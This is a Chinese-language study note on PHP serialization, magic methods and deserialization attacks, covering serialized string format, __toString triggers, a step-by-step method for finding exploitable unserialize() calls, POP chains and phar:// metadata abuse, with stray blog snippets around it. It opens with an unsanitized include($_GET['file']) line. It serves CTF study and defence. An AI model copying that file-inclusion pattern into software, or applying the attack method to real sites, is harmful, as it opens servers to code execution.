    include($_GET['file'].’.php’)
    
    ?>
    

    文末寄语:

    我觉得生命是最重要的,所以在我心里,没有事情是解决不了的。不是每一个人都可以幸运地过自己理想中的生活,有楼有车当然好了,没有难道哭吗?所以呢,我们一定要享受我们所过的生活。 —— 《新不了情》

    展开全文
  • 序列化与反序列化 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize() 恢复原先变量  1.创建一个$arr数组用于储存用户基本信息,并在浏览器中输出查看结果; $arr=...
  • 使用 T-SQL 我可以使用 XML 函数来解析从 Magento API 检索到的 XML 并获得我需要的几乎所有东西,但存储实际礼品卡代码的唯一位置是在gift_cards 字段中,该字段恰好是一个 php 序列化细绳。 示例:a:1:{i:0;a:5:...
  • 一、PHP 序列化变量的 4 种方法 序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性...
  • CTF——Web——PHP序列化和反序列化

    千次阅读 2019-08-09 16:33:40
    PHP 序列化和反序列化: 1,序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。 这两个过程结合起来,可以轻松地存储...

    PHP 序列化和反序列化:

    1,序列化(串行化):是将变量转换为可保存或传输的字符串的过程;

    反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。

    这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

    常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode

     

    在进行类的序列化时 私有属性  会加 空白字符类名空白字符 ; 保护属性会加  *(注意空白字符不是空格,空格的16进制为 20,空白字符的16进制为00)

    
    O:4:"text":2:{s:10:"textfalg";s:4:"gggg";s:5:"*fg";s:4:"hhhh";}

    2,

    file_put_contents (生成的文件名,字符串) 将一个字符串写入文件

    和依次调用 fopen()fwrite() 以及 fclose() 功能一样

    3,gzcompress($data, level)此函数使用ZLIB 数据格式压缩给定的字符串,这是一样gzip压缩,它包括一些报头数据

    data

    要压缩的数据。

    level

    压缩程度。可以给出为0表示无压缩,最高压缩为9。

    如果使用-1,则使用zlib库的默认压缩,即6。

    4,

    1. serialize和unserialize函数

    这两个是序列化和反序列化PHP中数据的常用函数。

    2. json_encode 和 json_decode

    使用JSON格式序列化和反序列化是一个不错的选择: 

    • 使用json_encode和json_decode格式输出要serialize和unserialize格式快得多。
    • JSON格式是可读的。
    • JSON格式比serialize返回数据结果小。
    • JSON格式是开放的、可移植的。其他语言也可以使用它

    3. var_export 和 eval

    var_export 函数把变量作为一个字符串输出;eval把字符串当成PHP代码来执行,反序列化得到最初变量的内容。

    4. wddx_serialize_value 和 wddx deserialize

    wddx_serialize_value函数可以序列化数组变量,并以XML字符串形式输出

     

    5 ,file_put_contents() 函数把一个字符串写入文件中

       file_get_contents() 把整个文件读入一个字符串中。

    该函数是用于把文件的内容读入到一个字符串中的首选方法

    6,序列化生成字符串时:对象私有化成员会自动添加了类名,以区分他们是Private 变量;如果是Protected 变量则会添加* 号。并且前缀添加空字节

    7,魔术方法的官方解释:

    • __toString() //方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条使命错误
    • __call()   : 在对象中调用一个不可访问方法时,会被调用。
    • __callStatic()  在静态上下文中调用一个不可访问方法时,会被调用。
    • __sleep() :   serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
    • __wakeup() :  unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

      __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

    • __invoke() 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。这个跟python 中的__call__函数类似

    • static __set_state ( array $properties ) : object

      自 PHP 5.1.0 起当调用 var_export() 导出类时,此静态 方法会被调用。

      本方法的唯一参数是一个数组,其中包含按 array('property' => value, ...) 格式排列的类属性

    • __debugInfo ( void ):数组

      转储对象以获取应显示的属性时 ,var_dump()调用此方法。如果未在对象上定义该方法,则将显示所有公共属性,受保护属性和私有属性

    • __clone ( void ) : void

          当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改        属性的值(如果有必要的话)。

    这个 __toString() 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种:

    (1)echo ($obj) / print($obj) 打印时会触发

    (2)反序列化对象与字符串连接时

    (3)反序列化对象参与格式化字符串时

    (4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

    (5)反序列化对象参与格式化SQL语句,绑定参数时

    (6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

    (7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

    (8)反序列化的对象作为 class_exists() 的参数的时候

    8,

    反序列化漏洞

    由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

    由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们

    9,序列化时:对象私有化成员会自动添加了类名,以区分他们是Private 变量;如果是Protected 变量则会添加 * 号。并且前后缀添加空字节  

    %00类名%00属性名

    10,成也布尔,败也布尔‘,布尔类型的true跟任意字符串在‘==’下都成立

    ,

    11,序列化只序列化数据,不序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。(必须有相应的环境才能进行反序列化)

    因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想

    12,

    通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程

    (1)寻找 unserialize() 函数的参数是否有我们的可控点
    (2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
    (3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
    (4)找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击

    13,POP 链介绍:

    玩过 pwn 的同学应该对 ROP 并不陌生,ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的

    POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

    说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

    14,利用 phar:// 拓展 PHP 反序列化的攻击面

    在 2017 年的 hitcon Orange 的一道 0day 题的解法令人震惊,Orange 通过他对底层的深度理解,为 PHP 反序列化开启了新的篇章,在此之后的 black 2018 演讲者同样用这个话题讲述了 phar:// 协议在 PHP 反序列化中的神奇利用,那么接下来就让我们分析他为什么开启了 PHP 反序列化的新世界,以及剖析一下这个他的利用方法。

    1.回顾一下原先 PHP 反序列化攻击的必要条件

    (1)首先我们必须有 unserailize() 函数
    (2)unserailize() 函数的参数必须可控

    这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是从2017 年开始 Orange 告诉我们是可以的

    2.phar:// 如何扩展反序列化的攻击面的

    原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

    15,使用 Phar 反序列化的条件是什么

    (1)文件上传点
    (2)系统文件函数
    (3) phar:// 伪协议

    16,__sleep() 魔术方法的返回对象必须是一个数组

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    展开全文
  • 将java数据 序列化PHP的格式 a:4:{s:6:"title2";s:13:"这是标题2";s:6:"title3";s:13:"这是标题3";s:5:"title";s:13:"这是标题1";s:6:"title4";s:13:"这是标题4";} 或者a:1:{i:0;a:1:{s:4:"name";s:10:"这是1321";...
  • PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。不过在 PHP 手册中对这两个函数的说明仅限于如何使用,而对序列化结果的格式却没做任何说明。因此,这对在其他语言...
  • 前言 总结一下序列化和反序列化的知识 ...php序列化的函数为serialize() 例: <?php class peak{ public $name = "1stPeak"; protected $sex = "man"; private $age = "18"; } $a = new pe...
  • Liip序列化器-快速的JSON序列化器此项目是开源的,基于我们最初作为Liip的封闭源进行的工作,它可能缺少一些文档。 我们计划添加更多文档和支持,包括Sy Liip序列化程序-快速...它使用反射,Phpdoc和JMS序列化程序以及
  • php 序列化与反序列化

    千次阅读 2018-10-09 00:13:04
    php中,序列化用与存储或传递php的值的过程,同时不丢失其结构和数据类型。 相关的函数包括serialize、unserialize,魔术方法包括__sleep、__wakeup。 序列化 语法:string serialize ( mixed $value ) 可以对...
  • 本篇文章主要介绍了PHP多种序列化/反序列化的方法详解,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
  • java反序列化php序列化的对象

    千次阅读 2017-10-18 14:59:41
    最近工作中遇到一个需要解析php序列化后存入DB的array, 1 2 a:4:{i:0;a:2:{s:11:"province";s:8:"0016";s:7:"img";s:49:"20150117105023_kk-1.jpg";} i:1;a:2:{s:11:"province";s:...
  • java序列化对象传给php

    2016-01-17 07:23:47
    android(包括java)序列化一个对象传给php去做处理,或是接到php序列化的对象在java中做处理的工具jar包以及使用方法. 使用方法: byte[] b = null; b = PHPSerializer.serialize(一个对象);//将一个对象序列化后返回...
  • php序列化与反序列化+ctf题目

    千次阅读 2019-08-05 23:12:45
    现在在ctf比赛中PHP的反序列题目出得有一些多,当然,是我感觉的 emmm 之前没有怎么好好去了解这个问题 碰到这类题目的时候都是代码好的同学在做 然后这段时间看了...在php中序列话原名叫串行化 又叫序列化 对象...
  • php中有格式化字符串并转换成数组或对象的好方法,即序列化处理。 有两种序列化变量的方法。 以下示例,使用 serialize() 和 unserialize() 函数: // a complex array $myvar = array( 'hello', 42, array(1,'...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 73,095
精华内容 29,238
关键字:

php序列化